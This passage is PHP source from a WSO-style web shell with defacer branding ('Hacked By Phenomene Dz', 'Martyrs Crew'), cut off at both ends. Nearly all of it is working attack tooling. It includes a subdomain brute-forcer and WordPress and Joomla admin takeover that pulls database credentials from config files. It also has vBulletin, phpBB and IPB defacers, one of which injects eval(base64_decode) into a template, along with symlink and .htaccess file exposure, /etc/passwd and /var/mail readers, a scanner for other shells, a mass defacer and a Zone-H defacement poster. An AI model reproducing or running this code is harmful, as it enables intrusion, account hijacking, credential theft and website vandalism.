"member", "members", "messenger", "mngt", "mobile", "monitor", "multimedia", "music", "my", "names", "lojra", "albania", "bisedo", "puka", "foto", "emra", "njohje", "vip", "egea-tirana", "historia", "forumi", "vesti", "administracija", "net", "new1", "new", "perkohesisht", "netdata", "netstats", "network", "news", "nms", "nntp", "ns", "ns1", "ns2", "ns3", "ntp", "online", "openview", "oracle", "outlook", "page", "pages", "partner", "partners", "pda", "personal", "ph", "pictures", "pix", "pop", "pop3", "portal", "press", "print", "printer", "private", "project", "projects", "proxy", "public", "ra", "radio", "raptor", "ras", "read", "register", "remote", "report", "reports", "root", "router", "lister", "rwhois", "sac", "schedules", "scotty", "search", "secret", "secure", "security", "seri", "serv", "serv2", "server", "service", "services", "shop", "shopping", "site", "sms", "smtp", "smtphost", "snmp", "snmpd", "snort", "solaris", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "solutions", "support", "source", "sql", "ssl", "stats", "store", "stream", "streaming", "sun", "support", "switch", "sysback", "system", "tech", "terminal", "test", "testing", "testing123", "time", "tivoli", "training", "transfers", "uddi", "update", "upload", "uploads", "video", "vpn", "w1", "w2", "w3", "wais", "wap", "web", "webdocs", "weblib", "weblogic", "webmail", "webserver", "webservices", "websphere", "whois", "wireless", "work", "world", "write", "ws", "ws1", "ws2", "ws3", "www1", "www2", "www3", "www4", "www5", "www6", "www7", "www8", "www9", "drupal", "wordpress", "joomla", "db", "database", "love");
    if ($_POST) {
        $url = $_POST["site"];
        foreach ($subs as $sub) {
            if (!eregi($url, gethostbyname($sub . "." . $url))) {
                echo '<font face="Baskerville Old Face" color="#df5">' . $sub . "." . $url . ' : </font><font color="green">' . gethostbyname($sub . "." . $url) . '</font></br>';
            } else {
                echo '<font face="Baskerville Old Face" color="#df5">' . $sub . "." . $url . ' : Nothing Found</font></br>';
            }
        }
    }
    wsoFooter();
}
####################### Forums #######################
function actionforum()
{
    wsoHeader();
    echo ' 
<center> 
<h1>Wordpress</h1> 
<a href=# onclick="g(\'wpsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      WordPress Login Changer From Config       ]</a><br><br> 
<a href=# onclick="g(\'wpkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      WordPress Login Changer From Keyboard       ]</a><br><br> 
<center> 
<h1>Joomla</h1> 
<a href=# onclick="g(\'jmsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Joomla Login Changer From Config       ]</a><br><br> 
<a href=# onclick="g(\'jmkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Joomla Login Changer From Keyboard       ]</a><br><br> 
<center> 
<h1>Vbulletin</h1> 
<a href=# onclick="g(\'vbindex\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Vbulletin index changer       ]</a><br><br> 
<center> 
<h1>PHPBB</h1> 
<a href=# onclick="g(\'phpbb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      PHPBB index changer       ]</a><br><br> 
<center> 
<h1>IPB</h1> 
<a href=# onclick="g(\'ipb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      IPB index changer       ]</a><br><br> 
<center> 
';
    wsoFooter();
}
######################### IPB #######################
function actionipb()
{
    wsoHeader();
    echo '<center><h1> IPB index Changer </h1> 
<form method = "POST"> 
<table border = "1" width="443" height="316" style="text-align: center" align="center"> 
<tr> 
<td height="105" width="780"> 
<p align="center"><b>Host : </b>  
<input type="text" name="f10" size="20" value="localhost">&nbsp;<b>  
DataBase&nbsp;:</b> <input type ="text" name = "f11" size="20"></p> 
<p align="center">&nbsp;<b>User :</b>  
<input type ="text" name = "f12" size="20"> 
<b>&nbsp;Password :</b>&nbsp; <input type ="text" name = "f13" size="20"><p align="center"> 
<b>Table Prefix:</b><br> 
<input type ="text" name = "f14" size="20" value="ibf_skin_sets"></td> 
</tr> 
<tr> 
<td height="167" width="780"><p align="center">&nbsp;<textarea name="index3" cols=53 rows=9> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI 
 </textarea><p align="center"><input type="hidden" name="a" value="ipb"><input type = "submit" value = "Deface !">&nbsp;&nbsp;&nbsp;&nbsp; 
<input type = "reset" value = "Clear"></td> 
</tr> 
</tr> 
</table>';
    $localhost3 = $_POST['f10'];
    $database3 = $_POST['f11'];
    $username3 = $_POST['f12'];
    $password3 = $_POST['f13'];
    $IPB = $_POST['f14'];
    $index3 = $_POST['index3'];
    if ($database3 = $_POST['f11']) {
        $con3 = @mysql_connect($localhost3, $username3, $password3) or die;
        $db3 = @mysql_select_db($database3, $con3) or die;
        $query3 = "UPDATE {$IPB} SET set_cache_wrapper = '{$index3}'" or die;
        $result3 = @mysql_query($query3, $con3);
        if ($result3) {
            echo "<p align='center'> \r\n<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
        } else {
            echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
        }
    }
    wsoFooter();
}
########################  wp key ############################
function actionwpkey()
{
    wsoHeader();
    if (empty($_POST['pwd'])) {
        echo "<br><br><center><div class='mybox'> \r\n<h1>[ Wordpress login changer ]</h1> \r\n<FORM method='POST'>DB Prefix :  <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;Host :  <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;db :  <INPUT class ='inputz' size='10' value='Database' name='database' type='text'>&nbsp;&nbsp;User :  <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;&nbsp;Pass :  <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New User :  <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Pass :  <INPUT class ='inputz' name='pwd' size='15' value='19620705'><br>&nbsp;&nbsp;<br><input type='hidden' name='a' value='wpkey' ><INPUT class='inputzbut' value='Change it Please' name='send' type='submit'></FORM></div/></center>";
    } else {
        $prefix = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database = $_POST['database'];
        $username = $_POST['username'];
        $password = $_POST['password'];
        $pwd = $_POST['pwd'];
        $admin = $_POST['admin'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $hash = crypt($pwd);
        $grab = @mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='home'");
        $data = @mysql_fetch_array($grab);
        $site_url = $data["option_value"];
        $jijle3 = @mysql_query("UPDATE " . $prefix . "users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
        $jijle3 = @mysql_query("UPDATE " . $prefix . "users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
        if ($jijle3) {
            echo '<br><br><center><h1>Done ... -> <a href="' . $site_url . '/wp-login.php" target="_blank">Login</a></h1></center>';
        }
    }
    echo '</center>';
    wsoFooter();
}
########################  wp sym ############################
function actionwpsym()
{
    wsoHeader();
    if ($_POST['kill']) {
        $url = $_POST['url'];
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        $pss = md5($pass);
        function enter($text, $a, $b)
        {
            $explode = explode($a, $text);
            $explode = explode($b, $explode[1]);
            return $explode[0];
        }
        $config = file_get_contents($url);
        $password = enter($config, "define('DB_PASSWORD', '", "');");
        $username = enter($config, "define('DB_USER', '", "');");
        $db = enter($config, "define('DB_NAME', '", "');");
        $prefix = enter($config, '$table_prefix  = \'', "';");
        $host = enter($config, "define('DB_HOST', '", "');");
        if ($config && preg_match('/DB_NAME/i', $config)) {
            $conn = @mysql_connect($host, $username, $password) or die("i can't connect to mysql, check your data");
            @mysql_select_db($db, $conn) or die(mysql_error());
            $grab = @mysql_query("SELECT * from  `wp_options` WHERE option_name='home'");
            $data = @mysql_fetch_array($grab);
            $site_url = $data["option_value"];
            $query = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = '" . $user . "',`user_pass` = '" . $pss . "' WHERE `ID` = 1");
            if ($query) {
                echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">' . $site_url . '</font></td><td width="20%">' . $user . '</td><td with="20%">' . $pass . '</td><td width="20%"><a href="' . $site_url . '/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';
            } else {
                echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';
            }
        } else {
            die('<center><h2 class="jijle3">Jijle3@phdz:~# This is Not WordPress Config !</h2>');
        }
    } else {
        ?>
 <center><br><br><div class="mybox"><form method="post"> 
<h1 style='font-size:26px;' class='jijle3'>[ Wordpress Login changer From Config ]</h1> 
<br> 
<table><tr><td>Config File Link&nbsp;:&nbsp;</td><td> 
<input size="26" class="inputz" type="text" name="url" value=""> 
</td></tr><tr><td>New User&nbsp;:&nbsp;</td><td> 
<input class="inputz" type="text" name="user" size="26" value="jijle3"></td> 
</tr><tr><td>New Pass&nbsp;:&nbsp;</td><td> 
<input class="inputz" type="text" size="26" name="pass" value="jijle3"></td></tr><tr><td> 
<br></td></tr><tr><td> 
<input type="hidden" name="a" value="wpsym"><input class="inputzbut" type="submit" name="kill" value=" Change it Please "></td> 
<br></tr></table></form></div> 
</center><?php 
    }
    wsoFooter();
}
########################  joomla sym ############################
function actionjmsym()
{
    wsoHeader();
    if ($_POST['symjo']) {
        $config = file_get_contents($_POST['url']);
        $user = $_POST['user'];
        $pass = md5($_POST['pass']);
        function ex($text, $a, $b)
        {
            $explode = explode($a, $text);
            $explode = explode($b, $explode[1]);
            return $explode[0];
        }
        if ($config && ereg('JConfig', $config)) {
            $psswd = ex($config, '$password = \'', "';");
            $username = ex($config, '$user = \'', "';");
            $dbname = ex($config, '$db = \'', "';");
            $prefix = ex($config, '$dbprefix = \'', "';");
            $host = ex($config, '$host = \'', "';");
            $email = ex($config, '$mailfrom = \'', "';");
            $formn = ex($config, '$fromname = \'', "';");
            $conn = mysql_connect($host, $username, $psswd) or die(mysql_error());
            mysql_select_db($dbname, $conn) or die($username . ' ' . $psswd . ' ' . $host . ' ' . $dbname);
            $query = @mysql_query("UPDATE `" . $prefix . "users` SET `username` ='" . $user . "' , `password` = '" . $pass . "', `usertype` = 'Super Administrator', `block` = 0");
            if ($query) {
                echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">' . $formn . '</font></td><td width="20%">' . $user . '</td><td with="20%">' . $_POST["pass"] . '</td><td width="20%">' . $email . '</td></tr></table>';
            } else {
                echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';
            }
        } else {
            die('<h2 class="jijle3"><font color="#df5">Jijle3@phdz:~# This is Not Joomla Config . .  <br><br> # i Will Drive if You Are Drunk !</font></h2>');
        }
    } else {
        ?>
 
<center><br><br><div class="mybox"> 
<form method="post"><table> 
<h1 class="jijle3">Joomla Login Changer From Config</h1> 
<tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="hidden" name="a" value="jmsym"><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center><?php 
    }
    wsoFooter();
}
########################  joomla key ############################
function actionjmkey()
{
    wsoHeader();
    if (empty($_POST['pwd'])) {
        echo "<br><br><br><center><div class='mybox'><h1>Joomla login changer</h1><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp; \r\n<INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<input type='hidden' name='a' value='jmkey'><INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";
    } else {
        $prefix = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database = $_POST['database'];
        $username = $_POST['username'];
        $password = $_POST['password'];
        $admin = $_POST['admin'];
        $pd = $_POST["pwd"];
        $pwd = md5($pd);
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        if ($SQL) {
            echo "<br><br><center><h1>Password Changed ! ... Go and login</h1></center>";
        }
    }
    wsoFooter();
}
######################## vb index ######################
function actionvbindex()
{
    wsoHeader();
    if (empty($_POST['index'])) {
        echo "<center><br><br><div width='100%' class='mybox'><br><h1 class='jijle3'>Vbulletin index changer</h1> \r\n<br><FORM method='POST'>host : <INPUT size='12' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='12' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='10' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='10' value='' name='perfix' type='text'><br><br><textarea class='inputz' name='index' cols='40' rows='10'> \r\n<br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI \r\n</textarea><br><input type='hidden' name='a' value='vbindex'><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></div></center>";
    } else {
        $localhost = $_POST['localhost'];
        $database = $_POST['database'];
        $username = $_POST['username'];
        $password = $_POST['password'];
        $perfix = $_POST['perfix'];
        $index = $_POST['index'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $index = str_replace("\\'", "'", $index);
        $set_index = "{\${eval(base64_decode(\\'";
        $set_index .= base64_encode("echo '{$index}';");
        $set_index .= "\\'))}}{\${exit()}}</textarea>";
        $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
        if ($ok) {
            echo "Hamd Li Allah . . . Vb Forum Has Been DEFACED ! <br><br>";
        }
    }
    wsoFooter();
}
#######################  {Smylink } ##############################
function actionsym()
{
    wsoHeader();
    //Smylinker
    echo ' 
<center> 
<h1>File Symlink</h1> 
<br /><br /> 
<form method="post"> 
<input type="hidden" name="a" value="sym"> 
<input type="text" name="file" value="/var/www/" size="50"/><br /><br /> 
<input type="text" name="symfile" value="algeria.txt" size="50"/><br /><br /> 
<input type="submit" value="symlink" name="symlink" /> <br /><br /> 
</form> 
';
    $pfile = $_POST['file'];
    $symfile = $_POST['symfile'];
    $symlink = $_POST['symlink'];
    if ($symlink) {
        @mkdir('phdzsymF', 0755);
        $c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n  AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
        $f = @fopen('phdzsymF/.htaccess', 'w');
        @fwrite($f, $c);
        @symlink("{$pfile}", "phdzsymF/{$symfile}");
        echo '<br /><a target="_blank" href="phdzsymF/' . $symfile . '" >' . $symfile . '</a>';
    }
    ?>
</center><?php 
    wsoFooter();
}
################ Etc/pwd ####################
function actionetcbaypass()
{
    wsoHeader();
    //etc passwd
    ?>
</center><?php 
    echo '<br><center><h1>Etc Passwd Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
    echo ' 
<form method="post"> 
<input type="submit" value="Use [ System ] Function" name="syst"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 


<form method="post"> 
<font face="Tahoma" color="#007700" size="2pt"> 
<input type="submit" value="Use [ PassThru ] Function" name="passth"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Exec ] Function" name="ex"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Sh Exec ] Function" name="shex"> 
<input type="hidden" name="a" value="etcbaypass"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Posix Getpwuid ] Function" name="dz"> 
<input type="hidden" name="a" value="etcbaypas"> 
</form> 
</center><br> 
</p> 

<center>';
    //System Function //
    if ($_POST['syst']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo system("cat /etc/passwd");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    echo ' 
</center> 
<center>';
    //Passthru Function //
    if ($_POST['passth']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo passthru("cat /etc/passwd");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n\r\n</b> \r\n<br> \r\n";
    }
    echo ' 
</center> 
<center>';
    //exec Function //
    if ($_POST['ex']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo exec("cat /etc/passwd");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    echo ' 
</center> 
<center>';
    //exec Function //
    if ($_POST['shex']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo shell_exec("cat /etc/passwd");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    echo '</center> 
<center>';
    //posix_getpwuid Function //
    if ($_POST['dz']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        for ($uid = 0; $uid < 60000; $uid++) {
            $ara = posix_getpwuid($uid);
            if (!empty($ara)) {
                while (list($key, $val) = each($ara)) {
                    print "{$val}:";
                }
                print "\n";
            }
        }
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    ?>
</center><?php 
    wsoFooter();
}
################################## Server User ##############################
function actionetcnmd()
{
    wsoHeader();
    echo '<br><center><h1>Server User Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
    echo ' 
<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ AWK Programe ] Function" name="awk"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 


<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Systeme ] Function" name="syst"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Passthru ] Function" name="passth"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Exec ] Function" name="ex"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p> 

<p><center> 
<form method="post"> 
<input type="submit" value="Use [ Sh Exec ] Function" name="shex"> 
<input type="hidden" name="a" value="etcnmd"> 
</form> 
</center><br> 
</p><center>';
    //Awk Program //
    if ($_POST['awk']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo shell_exec("awk -F: '{ print \$1 }' /etc/passwd | sort");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    echo "</center><center>";
    //System Function //
    if ($_POST['syst']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo system("ls /var/mail");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    echo "</center><center>";
    //Passthru Function //
    if ($_POST['passth']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo passthru("ls /var/mail");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    echo "</center><center>";
    //exec Function //
    if ($_POST['ex']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo exec("ls /var/mail");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n\r\n</b> \r\n<br> \r\n";
    }
    echo "</center><center>";
    //exec Function //
    if ($_POST['shex']) {
        echo "<textarea class='area' cols='65' rows='15'>";
        echo shell_exec("ls /var/mail");
        echo "</textarea><br>";
        echo " \r\n<br> \r\n<b> \r\n</b> \r\n<br> \r\n";
    }
    ?>
</center><?php 
    wsoFooter();
}
##################### Shell Finder ####################
function actionshellfind()
{
    wsoHeader();
    echo '<center> 
<center><h1>Shell Finder<h1><br> 
<p align="center"></p><br> 
<form method="POST"> 
</form><center> 
<form action="" method="post"> 
<input name="traget" type="text" size="100" value="http://www.site.co.il/"/><br> 
<input type="hidden" name="a" value="shellfind"> 
<br><br> 
<input name="scan" size="100" value="Start Scaning" type="submit"> 
</form><br>';
    set_time_limit(0);
    if (isset($_POST["scan"])) {
        $url = $_POST['traget'];
        echo "<br /><span class='start'>Scanning " . $url . "<br /><br /></span>";
        $shells = array("WSO.php", "shell.php", "3xd.php", "dz.php", "priv8.php", "sniper.php", "dhanush shell.php", "cpanel.php", "cpn.php", "sql.php", "mysql.php", "madspot.php", "cp.php", "cpbt.php", "sYm.php", "x.php", "r99.php", "lol.php", "jo.php", "wp.php", "whmcs.php", "shellz.php", "d0main.php", "d0mains.php", "users.php", "Cgishell.pl", "killer.php", "changeall.php", "2.php", "Sh3ll.php", "dz0.php", "dam.php", "user.php", "dom.php", "whmcs.php", "vb.zip", "r00t.php", "c99.php", "gaza.php", "1.php", "wp.zip" . "wp-content/plugins/disqus-comment-system/disqus.php", "d0mains.php", "wp-content/plugins/akismet/akismet.php", "madspotshell.php", "Sym.php", "c22.php", "c100.php", "wp-content/plugins/akismet/admin.php#", "wp-content/plugins/google-sitemap-generator/sitemap-core.php#", "wp-content/plugins/akismet/widget.php#", "Cpanel.php", "zone-h.php", "tmp/user.php", "tmp/Sym.php", "cp.php", "tmp/madspotshell.php", "tmp/root.php", "tmp/whmcs.php", "tmp/index.php", "tmp/2.php", "tmp/dz.php", "tmp/cpn.php", "tmp/changeall.php", "tmp/Cgishell.pl", "tmp/sql.php", "tmp/admin.php", "cliente/downloads/h4xor.php", "whmcs/downloads/dz.php", "L3b.php", "d.php", "tmp/d.php", "tmp/L3b.php", "wp-content/plugins/akismet/admin.php", "templates/rhuk_milkyway/index.php", "templates/beez/index.php", "admin1.php", "upload.php", "up.php", "vb.zip", "vb.rar", "admin2.asp", "uploads.php", "sa.php", "sysadmins/", "admin1/", "administration/Sym.php", "images/Sym.php", "/r57.php", "/wp-content/plugins/disqus-comment-system/disqus.php", "/shell.php", "/sa.php", "/admin.php", "/sa2.php", "/2.php", "/gaza.php", "/up.php", "/upload.php", "/uploads.php", "/templates/beez/index.php", "shell.php", "/amad.php", "/t00.php", "/dz.php", "/site.rar", "/Black.php", "/site.tar.gz", "/home.zip", "/home.rar", "/home.tar", "/home.tar.gz", "/forum.zip", "/forum.rar", "/forum.tar", "/forum.tar.gz", "/test.txt", "/ftp.txt", "/user.txt", "/site.txt", "/error_log", "/error", "/cpanel", "/awstats", "/site.sql", "/vb.sql", "/forum.sql", "/backup.sql", "/back.sql", "/data.sql", "wp.rar/", "wp-content/plugins/disqus-comment-system/disqus.php", "asp.aspx", "/templates/beez/index.php", "tmp/vaga.php", "tmp/killer.php", "whmcs.php", "tmp/killer.php", "tmp/domaine.pl", "tmp/domaine.php", "useradmin/", "ma.php", "tn.php", "wso.php.html", "shell.php", "dhanush.php", "tmp/d0maine.php", "d0maine.php", "tmp/sql.php", "tmp/dz1.php", "dz1.php", "forum.zip", "Symlink.php", "Symlink.pl", "forum.rar", "joomla.zip", "joomla.rar", "wp.php", "buck.sql", "sysadmin.php", "images/c99.php", "xd.php", "c100.php", "spy.aspx", "xd.php", "tmp/xd.php", "sym/root/home/", "billing/killer.php", "tmp/upload.php", "tmp/admin.php", "Server.php", "tmp/uploads.php", "tmp/up.php", "Server/", "wp-admin/c99.php", "tmp/priv8.php", "priv8.php", "cgi.pl/", "tmp/cgi.pl", "downloads/dom.php", "templates/ja-helio-farsi/index.php", "webadmin.html", "admins.php", "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/", "admins.asp", "admins.php", "wp.zip");
        //Start Scan
        foreach ($shells as $shell) {
            $headers = get_headers("{$url}{$shell}");
            //
            if (eregi('200', $headers[0])) {
                //Result
                echo "<a href='{$url}{$shell}'>{$url}{$shell}</a> <span class='found'</span><br /><br/><br/>";
                //
            }
        }
    }
    ?>
</center><?php 
    wsoFooter();
}
######################### Domains #########################
function actiondomains()
{
    wsoHeader();
    echo '<center><h1>Server Domain</h1>';
    $file = @implode(@file("/etc/named.conf"));
    if (!$file) {
        die(" [/etc/named.conf] Not Writeable ! ");
    }
    preg_match_all("#named/(.*?).db#", $file, $r);
    $domains = array_unique($r[1]);
    //check();
    //if(isset($_GET['ShowAll']))
    echo "<table align=center border=1 width=59% cellpadding=5> \r\n<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr> \r\n<tr><td>Domain</td><td>User</td></tr>";
    foreach ($domains as $domain) {
        $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
        echo "<tr><td>{$domain}</td><td>" . $user['name'] . "</td></tr>";
    }
    echo "</table>";
    echo '</div>';
    wsoFooter();
}
######################### Mass Deface #########################
function actionmass()
{
    wsoHeader();
    ?>
 
<head> 
<center> 
<span style="font-weight: 700;" class="style33"> 
    <h1>Folders Mass Defacer</h1></span></span></span><BR> 
    </div> 
<form action='<?php 
    basename($_SERVER['PHP_SELF']);
    ?>
' method='post'> 
<div class="style31"><center> 
<span>Directory : </span><br><input type='text' style='width: 250px' value='<?php 
    echo getcwd() . "/";
    ?>
' name='massdefacedir'><BR><br> 
<span>index  Url : </span><br><input type='text' style='width: 250px' name='massdefaceurl'> 
    </form></td> 
<p class="style3"> 
<input type="hidden" name="a" value="mass"><input type='submit' name='execmassdeface' value='>>'></div> 
<center><span>Rusult : <span> 
<span <ul> 
    <span class="style32"> 
    <span class="style39"> 
    </span></p> 
<span style="font-weight: 700;" class="style33"> 
    <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"> 
</center> 
<div class="style31"> 
<html> 
<?php 
    echo "<center><textarea rows='10' cols='100'>ph@dz:~# Jijle3 Mass Defacer |  ";
    $defaceurl = $_POST['massdefaceurl'];
    $dir = $_POST['massdefacedir'];
    echo $dir . "\n";
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($file = readdir($dh)) !== false) {
                if (filetype($dir . $file) == "dir") {
                    $newfile = $dir . $file . "/index.html";
                    echo $newfile . "\n";
                    if (!copy($defaceurl, $newfile)) {
                        echo "ph@dz:~# Faild To Copy ! >> {$file}...";
                    }
                }
            }
            closedir($dh);
        }
    }
    echo "</textarea></center>";
    wsoFooter();
}
############## Domain #####################
function actionDomain()
{
    printHeader();
    echo '<h1>local domain viewer</h1><div class=content>';
    $file = @implode(@file("/etc/named.conf"));
    if (!$file) {
        die("# can't ReaD -> [ /etc/named.conf ]");
    }
    preg_match_all("#named/(.*?).db#", $file, $r);
    $domains = array_unique($r[1]);
    //check();
    //if(isset($_GET['ShowAll']))
    echo "<table align=center border=1 width=59% cellpadding=5> \r\n<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr> \r\n<tr><td>Domain</td><td>User</td></tr>";
    foreach ($domains as $domain) {
        $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
        echo "<tr><td>{$domain}</td><td>" . $user['name'] . "</td></tr>";
    }
    echo "</table>";
    echo '</div>';
    wsoFooter();
}
######################### Zone-h  ############################
function actionzoneh()
{
    wsoHeader();
    ?>
 
<br><br><center> 
<!-- Zone-H --> 
<form action="" method='POST'><table><table class='tabnet'><tr> 
<center> 
<h1>Zone-H Mass Poster</h1> 
<br /><br /> 
<font>Attaker Name<font><center><input type="text" class="inputz" name="defacer" value="Martyrs Crew" /><br> 
<select name="hackmode" class="inputz" > 
<option >------------------------ Select ------------------------</option> 
<option value="1">known vulnerability (i.e. unpatched system)</option> 
<option value="2" >undisclosed (new) vulnerability</option> 
<option value="3" >configuration / admin. mistake</option> 
<option value="4" >brute force attack</option> 
<option value="5" >social engineering</option> 
<option value="6" >Web Server intrusion</option> 
<option value="7" >Web Server external module intrusion</option> 
<option value="8" >Mail Server intrusion</option> 
<option value="9" >FTP Server intrusion</option> 
<option value="10" >SSH Server intrusion</option> 
